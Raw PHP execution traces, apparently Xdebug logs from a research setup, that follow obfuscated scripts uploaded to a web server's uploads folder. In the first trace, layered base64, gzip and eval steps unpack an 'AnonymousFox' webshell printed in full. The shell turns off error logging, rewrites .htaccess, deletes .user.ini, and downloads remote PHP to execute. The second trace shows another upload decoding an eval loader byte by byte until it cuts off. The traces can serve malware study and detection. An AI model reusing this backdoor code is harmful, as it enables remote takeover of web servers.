2tidEG2ljePrhmplo+MhcOvKPOsVYRFXgUfGLpIA+ghlGMkvlIjLY5KLgrmoDfad35EOixXELjYMA+bJt2znxFF+/H9QSLB4BMBncUxki3P/AbUxDAQ=\')));'	/var/www/html/uploads/zjohyognkh.php	1	0
3	107	0	0.003685	403032	base64_decode	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code	1	1	'eJyNVH9ME2cYZgwZYyObDqdTcSc2ay/r8AotRc4u1nIFtKVNWxTlyq20X/G0tPV6LcVy25wLmToZM8zgNrI/nDPooobp5kw0Q5kOf6BOBRlKFopxiWEbYlFhLvuuLVGpNrvk8l3ufd7n/fE974sAhnExFAPcLoalnVUiglJqNBUEVaIzFasIFLcBO+0EImGnUIwI9w71CVFcUKjRLVFqjOWdZkSBAL/b4bJBRF1i3TN1SRBWtZ522h0WFog83koPy4iEr29JSQg/qZ8Z+pjfsJdbfGOX91/Y8lxz1zsbF5DkkqJN7R0HFw8EHgwMEzNPtd0YnjK7/pP9GXL60tulO1e2KPJXDa2Zcil996vH/w0FQydCxjTxVf3KWwHldmT8n4ZX3IdEzIvSP8+cLb65jCRPpvT1p1+VNJyfmtX27L6xrIafpp/NlqdtmzN4M6nfx5TdGPyOayv/PufugfICrGsczBo8UN6BeYaSfHiSHDk8vf35rRnaFGfv71OXfbz6'
3	107	1	0.003716	404856
3	107	R			'x��TL\023g\030f\f\031c#�\016�Sq\'6k/��\n-E�.�r\005��M[\024�ʭ�_�z-�rۜ\v�:\0313��6�?�3袆��L4C�\016�N\005\031J\026�q�a\033bQa.��-Q�6���]�}���=�\000�q1\024\003�.���U"�Rj4\025\004U�3\025�\b\024�\001;�\004"a�P�\b�\016�\tQ\\P��-Qj��fD�\000���AD]b�3uI\020V��v�\035\026\026�<�J\017ˈ��oII\b?��\031��߰�[|c��_��\\s�;\033\027�䒢M�\035\a\027\017\004\036\f\f\0233O��\030�2����\031r��ۥ;W�(�W\r��r)}���\r\005C\'B�4�U��[\001�vd���W܇D̋�?Ϝ-���$O��_�4����쾱�����͖�m�3x3��ǔ�\030��k+�>���\002�k\034�\032<Pށy'
3	108	0	0.003786	404824	gzuncompress	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code	1	1	'x��TL\023g\030f\f\031c#�\016�Sq\'6k/��\n-E�.�r\005��M[\024�ʭ�_�z-�rۜ\v�:\0313��6�?�3袆��L4C�\016�N\005\031J\026�q�a\033bQa.��-Q�6���]�}���=�\000�q1\024\003�.���U"�Rj4\025\004U�3\025�\b\024�\001;�\004"a�P�\b�\016�\tQ\\P��-Qj��fD�\000���AD]b�3uI\020V��v�\035\026\026�<�J\017ˈ��oII\b?��\031��߰�[|c��_��\\s�;\033\027�䒢M�\035\a\027\017\004\036\f\f\0233O��\030�2����\031r��ۥ;W�(�W\r��r)}���\r\005C\'B�4�U��[\001�vd���W܇D̋�?Ϝ-���$O��_�4����쾱�����͖�m�3x3��ǔ�\030��k+�>���\002�k\034�\032<Pށy'
3	108	1	0.003872	407416
3	108	R			' error_reporting(E_ALL^E_NOTICE);define(\'�\', \'���\');$GLOBALS[�] = explode(\'|\002|\001|\004\', gzinflate(substr(\'\037�\b\000\000\000\000\000\000\n�R�r�0\020�v�ԯЋ\a��`�/\\\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&'
3	109	0	0.004046	431384	eval	1	' error_reporting(E_ALL^E_NOTICE);define(\'�\', \'���\');$GLOBALS[�] = explode(\'|\002|\001|\004\', gzinflate(substr(\'\037�\b\000\000\000\000\000\000\n�R�r�0\020�v�ԯЋ\a��`�/\\\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\\\'�ixgې�S$\\\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<��:\033��_��c)\n��x���\024����F���gq��\005�m_h����j�X�~���!@�J��rq��m��a�v��K��M�}\nt� �p���\002\006T���:�ܤ�)C��\036XC7��\032P�\034\000!Ha�J��l�\035�<ɦ$��{s�c�\027�ݽ����\002�W\027J�\002\000\000\',0x0a, -8)));\r\nerror_reporting(0);@ini_set($GLOBALS{�}[0],NULL);@ini_set($GLOBALS{�}{0x001},0);@ini_set($GLOBALS{�}[0x0002],0);echo $GLOBALS{�}{0x00003};if(isset($_GET[$GLOBALS{�}[0x000004]])){$PvDde=base64_decode($GLOBALS{�}{0x05});$dt68w=$_SERVER[$GLOBALS{�}[0x006]];unlink("{$dt68w}\\57\\56\\150\\x74\\x61\\143\\x63\\145\\163\\x73");if(function_exists($GLOBALS{�}{0x0007})){file_put_contents("{$dt68w}\\57\\56\\150\\x74\\x61\\x63\\x63\\x65\\163\\163",$PvDde);}else{fwrite(fopen("{$dt68w}\\x2f\\56\\x68\\164\\x61\\x63\\x63\\x65\\x73\\163",$GLOBALS{�}[0x00008]),$PvDde);}if(file_exists("{$dt68w}\\57\\x2e\\x75\\x73\\145\\162\\x2e\\151\\x6e\\151")){unlink("{$dt68w}\\57\\x2e\\165\\x73\\x65\\x72\\x2e\\151\\156\\151");}}function curlFoxAuto($d15uw){$Au0oE=curl_init();curl_setopt($Au0oE,CURLOPT_TIMEOUT,0x01e);curl_setopt($Au0oE,CURLOPT_RETURNTRANSFER,!0);curl_setopt($Au0oE,CURLOPT_URL,$d15uw);curl_setopt($Au0oE,CURLOPT_USERAGENT,$GLOBALS{�}{0x000009});curl_setopt($Au0oE,CURLOPT_FOLLOWLOCATION,!0);if(stristr($d15uw,$GLOBALS{�}[0x0a])){curl_setopt($Au0oE,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($Au0oE,CURLOPT_SSL_VERIFYHOST,0);}curl_setopt($Au0oE,CURLOPT_HEADER,!1);return curl_exec($Au0oE);}$PmArP=$GLOBALS{�}{0x00b} .$_GET[$GLOBALS{�}[0x000c]];if(empty($_GET[$GLOBALS{�}{0x0000d}])){exit;}else{$pOXsz=file_get_contents($PmArP);if(empty($pOXsz)){$pOXsz=curlFoxAuto($PmArP);}$pOXsz=str_replace($GLOBALS{�}[0x00000e],$GLOBALS{�}{0x0f},$pOXsz);$pOXsz=str_replace($GLOBALS{�}[0x0010],$GLOBALS{�}{0x0f},$pOXsz);eval($pOXsz);}'	/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code	1	0
4	110	0	0.004147	431384	error_reporting	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	1	1	32759
4	110	1	0.004164	431456
4	110	R			0
4	111	0	0.004177	431416	define	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	1	2	'�'	'���'
4	111	1	0.004192	431520
4	111	R			TRUE
4	112	0	0.004206	431448	substr	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	7	3	'\037�\b\000\000\000\000\000\000\n�R�r�0\020�v�ԯЋ\a��`�/\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\'�ixgې�S$\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<'	10	-8
4	112	1	0.004258	432184
4	112	R			'�R�r�0\020�v�ԯЋ\a��`�/\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\'�ixgې�S$\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<��:\033��_��c)\n��x���\024����F���gq��\005�m_h����j�X�~���!@�J��rq��m��a�v��K��M�}\nt� �p���\002\006T���:�ܤ�)C��\036XC7��\032P�\034\000!Ha�J��l�\035�<ɦ$��{s�c�\027�ݽ����\002'
4	113	0	0.004315	432088	gzinflate	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	7	1	'�R�r�0\020�v�ԯЋ\a��`�/\\BH��Ĵ@�{���E\030ǲ��\005\033���\0357i�>U�Y�=:Z�j\005�\024�\026����S\r,�PY�{A� ���\023p�(r\f4���I�K\\�\b��\024�1��\021.�\003��.��\025�27\r�\034��\004�vrX��}�[�3��[D0�e\032�[�0s�\004v;\0047 �\025�\t�\035M\bn��\021K�h��^�\030�^45�tz�\031�F��׾�$�\017\0304��V�\b��\035M��ūȪ+����Pt\v��=/��F��X�͝3�\006�Z�\035}\022\032�\006y�&��j���|S#�v#D��V�CT���\'�ixgې�S$\\Lyq���9M��\n�\002�8�� ϖ��"\024y�ש�C�t�l�k#5�$M�\024M��e�\022�P�I\006�� �O}�O\036<��:\033��_��c)\n��x���\024����F���gq��\005�m_h����j�X�~���!@�J��rq��m��a�v��K��M�}\nt� �p���\002\006T���:�ܤ�)C��\036XC7��\032P�\034\000!Ha�J��l�\035�<ɦ$��{s�c�\027�ݽ����\002'
4	113	1	0.004380	433016
4	113	R			'error_log|\002|\001|\004log_errors|\002|\001|\004display_errors|\002|\001|\004FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n|\002|\001|\004403|\002|\001|\004IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdG'
4	114	0	0.004421	432344	explode	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	7	2	'|\002|\001|\004'	'error_log|\002|\001|\004log_errors|\002|\001|\004display_errors|\002|\001|\004FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n|\002|\001|\004403|\002|\001|\004IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdG'
4	114	1	0.004461	434864
4	114	R			[0 => 'error_log', 1 => 'log_errors', 2 => 'display_errors', 3 => 'FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n', 4 => '403', 5 => 'IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgojIEVORAo=', 6 => 'DOCUMENT_ROOT', 7 => 'file_put_contents', 8 => 'w', 9 => 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:43.0) Gecko/20100101 Firefox/43.0', 10 => 'https://', 11 => 'http://', 12 => 'php', 13 => 'php', 14 => '<?php', 15 => '', 16 => '?>']
3		A						/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	1	GLOBALS['���'] = [0 => 'error_log', 1 => 'log_errors', 2 => 'display_errors', 3 => 'FoxAuto V6+<br>Download: anonymousfox.com | <script type=\'text/javascript\'>document.write(unescape(\'%61%6E%6F%6E%79%6D%6F%75%73%66%6F%78%2E%6E%65%74\'))</script> | anonymousfox.info     <br>Telegram: @Anonymous_Fox\n', 4 => '403', 5 => 'IyBCRUdJTgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgojIEVORAo=', 6 => 'DOCUMENT_ROOT', 7 => 'file_put_contents', 8 => 'w', 9 => 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:43.0) Gecko/20100101 Firefox/43.0', 10 => 'https://', 11 => 'http://', 12 => 'php', 13 => 'php', 14 => '<?php', 15 => '', 16 => '?>']
4	115	0	0.004567	433896	error_reporting	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	8	1	0
4	115	1	0.004583	433904
4	115	R			32759
4	116	0	0.004599	433840	ini_set	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	8	2	'error_log'	NULL
4	116	1	0.004617	433912
4	116	R			''
4	117	0	0.004632	433840	ini_set	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	8	2	'log_errors'	0
4	117	1	0.004648	433912
4	117	R			'1'
4	118	0	0.004661	433840	ini_set	0		/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	8	2	'display_errors'	0
4	118	1	0.004677	433912
4	118	R			''
3		A						/var/www/html/uploads/zjohyognkh.php(1) : eval()'d code(1) : eval()'d code	8	$PmArP = 'http://'
			0.004751	354608
TRACE END   [2023-02-12 22:52:17.262805]

data/traces/5cc1641c1815a95e24f3f47576c43c84_trace-1676258381.0224.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:20:06.920238]
1	0	1	0.000217	393528
1	3	0	0.000310	398208	{main}	1		/var/www/html/uploads/drrwojkwux.php	0	0
2	4	0	0.000329	398208	error_reporting	0		/var/www/html/uploads/drrwojkwux.php	1	1	0
2	4	1	0.000346	398248
2	4	R			22527
2	5	0	0.000361	398208	Momdo	1		/var/www/html/uploads/drrwojkwux.php	1	1	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3	6	0	0.000377	398208	trim	0		/var/www/html/uploads/drrwojkwux.php	1	1	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3	6	1	0.000392	398240
3	6	R			'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$CyJ4O = 66
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC = ''
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE = 0
3	7	0	0.000443	398208	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	0	2
3	7	1	0.000460	398336
3	7	R			'65'
3	8	0	0.000474	398240	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'65'
3	8	1	0.000487	398288
3	8	R			101
3	9	0	0.000500	398208	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	101
3	9	1	0.000513	398304
3	9	R			'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	10	0	0.000548	398240	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	2	2
3	10	1	0.000564	398368
3	10	R			'76'
3	11	0	0.000577	398272	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'76'
3	11	1	0.000589	398320
3	11	R			118
3	12	0	0.000602	398240	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	118
3	12	1	0.000615	398336
3	12	R			'v'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'v'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	13	0	0.000647	398240	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	4	2
3	13	1	0.000662	398368
3	13	R			'61'
3	14	0	0.000675	398272	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'61'
3	14	1	0.000687	398320
3	14	R			97
3	15	0	0.000699	398240	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	97
3	15	1	0.000712	398336
3	15	R			'a'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'a'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	16	0	0.000744	398240	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	6	2
3	16	1	0.000758	398368
3	16	R			'6C'
3	17	0	0.000771	398272	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'6C'
3	17	1	0.000783	398320
3	17	R			108
3	18	0	0.000795	398240	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	108
3	18	1	0.000808	398336
3	18	R			'l'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'l'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	19	0	0.000839	398240	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	8	2
3	19	1	0.000854	398368
3	19	R			'28'
3	20	0	0.000866	398272	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'28'
3	20	1	0.000878	398320
3	20	R			40
3	21	0	0.000903	398240	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	40
3	21	1	0.000916	398336
3	21	R			'('
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= '('
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	22	0	0.000947	398240	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	10	2
3	22	1	0.000962	398368
3	22	R			'67'
3	23	0	0.000974	398272	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'67'
3	23	1	0.000986	398320
3	23	R			103
3	24	0	0.000999	398240	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	103
3	24	1	0.001011	398336
3	24	R			'g'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'g'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	25	0	0.001048	398240	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	12	2
3	25	1	0.001063	398368
3	25	R			'7A'
3	26	0	0.001075	398272	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'7A'
3	26	1	0.001088	398320
3	26	R			122
3	27	0	0.001100	398240	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	122
3	27	1	0.001112	398336
3	27	R			'z'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'z'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	28	0	0.001143	398240	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	14	2
3	28	1	0.001158	398368
3	28	R			'75'
3	29	0	0.001170	398272	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'75'
3	29	1	0.001182	398320
3	29	R			117
3	30	0	0.001194	398240	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	117
3	30	1	0.001207	398336
3	30	R			'u'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'u'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	31	0	0.001238	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	16	2
3	31	1	0.001252	398376
3	31	R			'6E'
3	32	0	0.001265	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'6E'
3	32	1	0.001277	398328
3	32	R			110
3	33	0	0.001289	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	110
3	33	1	0.001301	398344
3	33	R			'n'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'n'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	34	0	0.001332	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	18	2
3	34	1	0.001346	398376
3	34	R			'63'
3	35	0	0.001359	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'63'
3	35	1	0.001371	398328
3	35	R			99
3	36	0	0.001383	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	99
3	36	1	0.001395	398344
3	36	R			'c'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'c'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	37	0	0.001426	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	20	2
3	37	1	0.001440	398376
3	37	R			'6F'
3	38	0	0.001453	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'6F'
3	38	1	0.001465	398328
3	38	R			111
3	39	0	0.001476	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	111
3	39	1	0.001489	398344
3	39	R			'o'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'o'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	40	0	0.001520	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	22	2
3	40	1	0.001534	398376
3	40	R			'6D'
3	41	0	0.001547	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'6D'
3	41	1	0.001559	398328
3	41	R			109
3	42	0	0.001571	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	109
3	42	1	0.001584	398344
3	42	R			'm'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'm'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	43	0	0.001615	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	24	2
3	43	1	0.001629	398376
3	43	R			'70'
3	44	0	0.001642	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'70'
3	44	1	0.001653	398328
3	44	R			112
3	45	0	0.001665	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	112
3	45	1	0.001678	398344
3	45	R			'p'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'p'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	46	0	0.001709	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	26	2
3	46	1	0.001728	398376
3	46	R			'72'
3	47	0	0.001740	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'72'
3	47	1	0.001752	398328
3	47	R			114
3	48	0	0.001764	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	114
3	48	1	0.001776	398344
3	48	R			'r'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'r'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	49	0	0.001807	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	28	2
3	49	1	0.001822	398376
3	49	R			'65'
3	50	0	0.001834	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'65'
3	50	1	0.001846	398328
3	50	R			101
3	51	0	0.001858	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	101
3	51	1	0.001870	398344
3	51	R			'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	52	0	0.001901	398248	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	30	2
3	52	1	0.001916	398376
3	52	R			'73'
3	53	0	0.001929	398280	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'73'
3	53	1	0.001941	398328
3	53	R			115
3	54	0	0.001952	398248	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	115
3	54	1	0.001965	398344
3	54	R			's'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 's'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	55	0	0.001995	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	32	2
3	55	1	0.002010	398384
3	55	R			'73'
3	56	0	0.002022	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'73'
3	56	1	0.002034	398336
3	56	R			115
3	57	0	0.002047	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	115
3	57	1	0.002059	398352
3	57	R			's'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 's'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	58	0	0.002089	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	34	2
3	58	1	0.002103	398384
3	58	R			'28'
3	59	0	0.002115	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'28'
3	59	1	0.002127	398336
3	59	R			40
3	60	0	0.002139	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	40
3	60	1	0.002152	398352
3	60	R			'('
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= '('
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	61	0	0.002183	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	36	2
3	61	1	0.002198	398384
3	61	R			'62'
3	62	0	0.002210	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'62'
3	62	1	0.002222	398336
3	62	R			98
3	63	0	0.002234	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	98
3	63	1	0.002246	398352
3	63	R			'b'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'b'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
3	64	0	0.002277	398256	substr	0		/var/www/html/uploads/drrwojkwux.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	38	2
3	64	1	0.002292	398384
3	64	R			'61'
3	65	0	0.002304	398288	hexdec	0		/var/www/html/uploads/drrwojkwux.php	1	1	'61'
3	65	1	0.002315	398336
3	65	R			97
3	66	0	0.002328	398256	pack	0		/var/www/html/uploads/drrwojkwux.php	1	2	'C'	97
3	66	1	0.002340	398352
3	66	R			'a'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$yB2qC .= 'a'
2		A						/var/www/html/uploads/drrwojkwux.php	1	$srffE += 2
